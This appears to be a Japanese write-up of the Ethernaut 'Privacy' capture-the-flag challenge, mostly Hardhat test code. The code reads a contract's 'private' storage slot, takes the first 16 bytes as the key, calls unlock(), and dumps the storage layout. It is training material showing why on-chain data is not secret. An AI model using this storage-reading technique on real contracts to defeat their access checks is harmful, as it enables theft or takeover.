スマートコントラクトのストレージ解析：Ethernaut「Privacy」チャレンジの詳細解説 #

// スロット5からデータを取得
const SLOT5 = 5;
const data2 = await ethers.provider.getStorage(PRIVACY_ADDRESS, SLOT5);
console.log("Raw data[2]:", data2);
// 例: 0x6e7a6e7a6e7a6e7a6e7a6e7a6e7a6e7a6e7a6e7a6e7a6e7a6e7a6e7a6e7a6e7a

// bytes32からbytes16への変換（最初の16バイトを取得）
const key = data2.slice(0, 34); // 0x + 32文字（16バイト）
console.log("Key (bytes16):", key);
// 例: 0x6e7a6e7a6e7a6e7a6e7a6e7a6e7a6e7a

// 現在の状態を確認
const LOCKED = true;
let stateLocked = await privacyContract.locked();
expect(stateLocked).to.be.equals(LOCKED);

// unlock関数を呼び出し
const tx = await privacyContract.unlock(key);
await tx.wait();

// 状態が変更されたことを確認
const UNLOCKED = false;
stateLocked = await privacyContract.locked();
expect(stateLocked).to.be.equals(UNLOCKED);

import { ethers } from "hardhat";
import { expect } from "chai";
import { Contract } from "ethers";

describe("Privacy Attack", function () {
  let privacyContract: Contract;
  const PRIVACY_ADDRESS = "0x131c3249e115491E83De375171767Af07906eA36"; // 実際のコントラクトアドレス
  
  it("Should unlock the Privacy contract", async function () {
    // 1. コントラクトインスタンスの作成
    const [attacker] = await ethers.getSigners();
    
    // 最小限のABIでコントラクトに接続
    const PRIVACY_ABI = [
      "function locked() view returns (bool)",
      "function unlock(bytes16 _key) public"
    ];
    
    privacyContract = new ethers.Contract(
      PRIVACY_ADDRESS,
      PRIVACY_ABI,
      attacker
    );
    
    // 2. 初期状態の確認
    console.log("Initial locked state:", await privacyContract.locked());
    
    // 3. ストレージスロット5からdata[2]を取得
    const SLOT5 = 5;
    const data2 = await ethers.provider.getStorage(PRIVACY_ADDRESS, SLOT5);
    console.log("Storage slot 5 (data[2]):", data2);
    
    // 4. bytes32からbytes16への変換（最初の16バイト）
    // bytes32: 0x + 64文字 = 32バイト
    // bytes16: 0x + 32文字 = 16バイト
    const key = data2.slice(0, 34); // 最初の34文字（0x + 32文字）
    console.log("Extracted key (bytes16):", key);
    
    // 5. unlock関数の呼び出し
    console.log("Calling unlock function...");
    const tx = await privacyContract.unlock(key);
    await tx.wait();
    
    // 6. 状態の確認
    const finalState = await privacyContract.locked();
    console.log("Final locked state:", finalState);
    
    // 7. 検証
    expect(finalState).to.be.false;
    console.log("✅ Contract successfully unlocked!");
  });
  
  it("Should demonstrate storage layout", async function () {
    // すべてのストレージスロットを表示
    console.log("\n=== Storage Layout Analysis ===");
    
    for (let i = 0; i < 6; i++) {
      const slotData = await ethers.provider.getStorage(PRIVACY_ADDRESS, i);
      console.log(`Slot ${i}: ${slotData}`);
      
      // スロット2の詳細な解析
      if (i === 2) {
        console.log("  Slot 2 contains:");
        console.log("  - flattening (uint8):", parseInt(slotData.slice(-2), 16));
        console.log("  - denomination (uint8):", parseInt(slotData.slice(-4, -2), 16));
        console.log("  - awkwardness (uint16):", parseInt(slotData.slice(-8, -4), 16));
      }
    }
  });
});